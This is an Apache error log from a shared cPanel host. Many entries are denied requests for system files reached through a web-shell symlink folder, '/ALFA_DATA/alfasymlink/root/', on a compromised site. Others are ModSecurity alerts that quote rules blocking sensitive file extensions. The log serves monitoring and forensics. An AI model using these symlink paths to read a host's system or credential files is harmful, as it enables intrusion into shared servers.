[Sun Oct 25 19:05:55.531927 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 102.141.48.38:45236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/store_user
[Sun Oct 25 19:05:57.416549 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 88.230.41.109:34308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/store_user
[Sun Oct 25 19:06:06.164515 2026] [ssl:error] [pid 2916954:tid 2916954] (5)Input/output error: [client 18.211.148.239:2194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:06:14.211140 2026] [ssl:error] [pid 2913086:tid 2913086] (70014)End of file found: [client 34.227.156.153:7680] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:06:18.191124 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.87.62.248:49046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:06:30.174041 2026] [ssl:error] [pid 2913086:tid 2913086] (70014)End of file found: [client 52.203.65.83:40937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:06:38.149449 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 98.83.177.42:7282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:06:47.758750 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 90.180.64.153:53608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/objs_per_slab
[Sun Oct 25 19:06:50.320268 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 44.205.74.196:22487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:06:50.806962 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 129.122.166.133:49124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/objs_per_slab
[Sun Oct 25 19:06:53.385426 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 160.20.204.166:36181] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/objs_per_slab
[Sun Oct 25 19:06:58.197940 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 44.207.207.36:27966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/device/physical_node/firmware_node/subsystem/drivers/hardware_error_device/bind
[Sun Oct 25 19:06:58.811711 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 166.114.174.7:43198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/validate
[Sun Oct 25 19:07:00.931392 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 185.163.195.9:55802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/validate
[Sun Oct 25 19:07:05.041083 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 85.208.96.206:31370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/objects
[Sun Oct 25 19:07:05.226651 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 172.56.183.108:62304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/validate
[Sun Oct 25 19:07:12.717665 2026] [core:error] [pid 2916954:tid 2916954] (13)Permission denied: [client 175.32.47.29:39805] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/object_size
[Sun Oct 25 19:07:14.071340 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 181.115.119.84:16879] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/validate
[Sun Oct 25 19:07:15.666441 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 45.224.21.68:45818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/object_size
[Sun Oct 25 19:07:16.751391 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 38.196.245.219:49018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/validate
[Sun Oct 25 19:07:18.359993 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 190.108.210.91:38530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/object_size
[Sun Oct 25 19:07:18.666696 2026] [core:error] [pid 2916954:tid 2916954] (13)Permission denied: [client 104.36.177.20:53897] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/validate
[Sun Oct 25 19:07:18.667176 2026] [security2:error] [pid 2916954:tid 2916954] [client 104.36.177.20:53897] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/validate"] [unique_id "at6LpoXvrxjDeCa3cmH5SQAAABY"]
[Sun Oct 25 19:07:18.667198 2026] [security2:error] [pid 2916954:tid 2916954] [client 104.36.177.20:53897] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/validate"] [unique_id "at6LpoXvrxjDeCa3cmH5SQAAABY"]
[Sun Oct 25 19:07:25.344358 2026] [security2:error] [pid 2910024:tid 2910024] [client 107.172.76.131:65530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6LodUWKTB2-zEAVHL8EQAAAEE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 19:07:25.344396 2026] [security2:error] [pid 2910024:tid 2910024] [client 107.172.76.131:65530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6LodUWKTB2-zEAVHL8EQAAAEE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 19:07:36.773088 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 38.171.238.209:36736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/remote_node_defrag_ratio
[Sun Oct 25 19:07:38.291963 2026] [ssl:error] [pid 2916957:tid 2916957] (5)Input/output error: [client 44.220.2.97:32073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:07:39.184086 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 84.54.71.189:18450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/remote_node_defrag_ratio
[Sun Oct 25 19:07:40.830695 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 38.74.244.169:17294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/remote_node_defrag_ratio
[Sun Oct 25 19:07:57.604515 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 87.228.235.156:43762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/object_size
[Sun Oct 25 19:07:59.910189 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 63.143.116.246:38364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/object_size
[Sun Oct 25 19:08:01.879261 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 38.95.88.162:56135] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/object_size
[Sun Oct 25 19:08:01.879715 2026] [security2:error] [pid 2913030:tid 2913030] [client 38.95.88.162:56135] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/object_size"] [unique_id "at6L0dACfKmH39GTPJ9i0wAAAAg"]
[Sun Oct 25 19:08:01.879738 2026] [security2:error] [pid 2913030:tid 2913030] [client 38.95.88.162:56135] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/object_size"] [unique_id "at6L0dACfKmH39GTPJ9i0wAAAAg"]
[Sun Oct 25 19:08:06.166663 2026] [ssl:error] [pid 2918479:tid 2918479] (70014)End of file found: [client 52.203.237.170:24465] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:10.157832 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 18.213.240.226:48278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:10.607993 2026] [core:error] [pid 2917051:tid 2917051] (13)Permission denied: [client 69.201.151.177:42487] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/total_objects
[Sun Oct 25 19:08:13.788012 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 200.229.253.224:46010] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/total_objects
[Sun Oct 25 19:08:14.151493 2026] [ssl:error] [pid 2908851:tid 2908851] (70014)End of file found: [client 52.70.138.176:37791] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:18.154690 2026] [ssl:error] [pid 2916954:tid 2916954] (70014)End of file found: [client 52.54.249.218:35283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:19.035338 2026] [ssl:error] [pid 2918479:tid 2918479] (70014)End of file found: [client 185.191.171.10:11256] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:20.230743 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 85.208.96.200:10840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:22.240822 2026] [ssl:error] [pid 2908851:tid 2908851] (70014)End of file found: [client 54.163.169.168:65490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:26.265689 2026] [ssl:error] [pid 2916954:tid 2916954] (70014)End of file found: [client 23.23.137.202:29042] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:30.144090 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.213.106.226:11610] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:32.550557 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 46.2.22.102:26313] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/remote_node_defrag_ratio
[Sun Oct 25 19:08:34.169555 2026] [ssl:error] [pid 2917051:tid 2917051] (70014)End of file found: [client 54.90.8.255:24551] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:34.810198 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 109.161.10.136:32994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/remote_node_defrag_ratio
[Sun Oct 25 19:08:47.953082 2026] [security2:error] [pid 2918422:tid 2918422] [client 43.153.113.127:34518] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at6L_8mX8eKs_cgmrz9vIAAAAAU"]
[Sun Oct 25 19:08:47.954174 2026] [authz_core:error] [pid 2918422:tid 2918422] [client 43.153.113.127:34518] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 19:08:50.317253 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 52.205.113.104:15370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:08:54.165716 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 52.202.52.82:19700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:09:10.328088 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.220.70.171:19718] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:09:14.504704 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 185.191.171.14:31066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/total_objects
[Sun Oct 25 19:09:22.232954 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 54.164.106.236:2431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:09:28.637832 2026] [security2:error] [pid 2918513:tid 2918513] [client 68.237.215.115:59086] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/latency-performance/tuned.conf"] [unique_id "at6MKNXDsULvFewyb_mq9gAAAA4"]
[Sun Oct 25 19:09:28.638357 2026] [security2:error] [pid 2918513:tid 2918513] [client 68.237.215.115:59086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/latency-performance/tuned.conf"] [unique_id "at6MKNXDsULvFewyb_mq9gAAAA4"]
[Sun Oct 25 19:09:28.638701 2026] [security2:error] [pid 2918513:tid 2918513] [client 68.237.215.115:59086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/latency-performance/tuned.conf"] [unique_id "at6MKNXDsULvFewyb_mq9gAAAA4"]
[Sun Oct 25 19:09:30.023786 2026] [core:error] [pid 2916954:tid 2916954] (13)Permission denied: [client 172.56.124.246:4683] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/alloc_calls
[Sun Oct 25 19:09:30.977551 2026] [security2:error] [pid 2918487:tid 2918487] [client 187.63.150.214:51214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/latency-performance/tuned.conf"] [unique_id "at6MKvePUttmj9eQxOMD_wAAAA0"]
[Sun Oct 25 19:09:30.978322 2026] [security2:error] [pid 2918487:tid 2918487] [client 187.63.150.214:51214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/latency-performance/tuned.conf"] [unique_id "at6MKvePUttmj9eQxOMD_wAAAA0"]
[Sun Oct 25 19:09:30.978832 2026] [security2:error] [pid 2918487:tid 2918487] [client 187.63.150.214:51214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/latency-performance/tuned.conf"] [unique_id "at6MKvePUttmj9eQxOMD_wAAAA0"]
[Sun Oct 25 19:09:30.978936 2026] [security2:error] [pid 2918487:tid 2918487] [client 187.63.150.214:51214] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/latency-performance/tuned.conf"] [unique_id "at6MKvePUttmj9eQxOMD_wAAAA0"]
[Sun Oct 25 19:09:30.978960 2026] [security2:error] [pid 2918487:tid 2918487] [client 187.63.150.214:51214] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/latency-performance/tuned.conf"] [unique_id "at6MKvePUttmj9eQxOMD_wAAAA0"]
[Sun Oct 25 19:09:32.275337 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 186.96.165.145:54768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/alloc_calls
[Sun Oct 25 19:09:34.163932 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.93.253.174:36198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:09:38.299375 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 201.4.68.135:7103] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/alloc_calls
[Sun Oct 25 19:09:54.139688 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 52.6.232.201:12063] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:09:55.424768 2026] [security2:error] [pid 2908851:tid 2908851] [client 189.175.132.173:52644] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/locale/en_IL/LC_NUMERIC"] [unique_id "at6MQwyydx1uvQyMj1diBAAAAAs"]
[Sun Oct 25 19:09:55.424839 2026] [security2:error] [pid 2908851:tid 2908851] [client 189.175.132.173:52644] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/locale/en_IL/LC_NUMERIC"] [unique_id "at6MQwyydx1uvQyMj1diBAAAAAs"]
[Sun Oct 25 19:09:59.627677 2026] [authz_core:error] [pid 2917051:tid 2917051] [client 45.63.4.69:60288] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 19:10:01.739250 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 185.191.171.10:59400] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:10:01.892398 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 185.191.171.10:59402] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:10:06.154992 2026] [ssl:error] [pid 2917051:tid 2917051] (70014)End of file found: [client 54.145.82.217:3239] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:10:30.146691 2026] [ssl:error] [pid 2918880:tid 2918880] (70014)End of file found: [client 34.196.114.170:37929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:10:38.140770 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 52.203.152.231:4838] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:10:42.147949 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 18.232.36.1:60464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/physical_node/firmware_node/PNP0303:00/subsystem/drivers/battery/bind
[Sun Oct 25 19:10:46.254936 2026] [ssl:error] [pid 2918880:tid 2918880] (70014)End of file found: [client 98.82.63.147:53678] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:10:50.147347 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 98.84.184.80:33418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/node0/cpu1/firmware_node/eject
[Sun Oct 25 19:10:50.202078 2026] [core:error] [pid 2917051:tid 2917051] (13)Permission denied: [client 65.48.208.66:48755] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/red_zone
[Sun Oct 25 19:10:53.822095 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 76.108.1.67:52161] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/red_zone
[Sun Oct 25 19:10:54.157293 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 52.3.127.170:12177] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:10:54.982944 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 47.230.230.247:23358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/red_zone
[Sun Oct 25 19:10:58.171806 2026] [core:error] [pid 2918880:tid 2918880] (13)Permission denied: [client 34.225.243.131:6283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/bus/cpu/devices/cpu1/driver/cpu1/driver/cpu0/subsystem/uevent
[Sun Oct 25 19:11:06.258328 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 98.84.184.80:5088] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:11:08.780557 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 78.182.203.221:34712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/cpu_partial
[Sun Oct 25 19:11:08.950264 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 185.191.171.19:18794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_state/order
[Sun Oct 25 19:11:10.142984 2026] [ssl:error] [pid 2918880:tid 2918880] (70014)End of file found: [client 98.82.214.73:28360] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:11:14.143873 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 54.84.93.8:33672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:11:23.604677 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 3.222.85.38:10082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:11:26.160738 2026] [ssl:error] [pid 2916955:tid 2916955] (70014)End of file found: [client 34.235.239.240:4981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:11:33.994862 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 190.84.119.166:8793] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/slabs_cpu_partial
[Sun Oct 25 19:11:36.098919 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 187.102.30.25:32346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/slabs_cpu_partial
[Sun Oct 25 19:11:38.329651 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 132.255.38.203:63958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/slabs_cpu_partial
[Sun Oct 25 19:11:38.950346 2026] [core:error] [pid 2918880:tid 2918880] (13)Permission denied: [client 85.208.96.204:56904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/align
[Sun Oct 25 19:11:42.528764 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 85.208.96.206:29370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/poison
[Sun Oct 25 19:11:45.766295 2026] [core:error] [pid 2916954:tid 2916954] (13)Permission denied: [client 85.208.96.196:24930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/slabs_cpu_partial
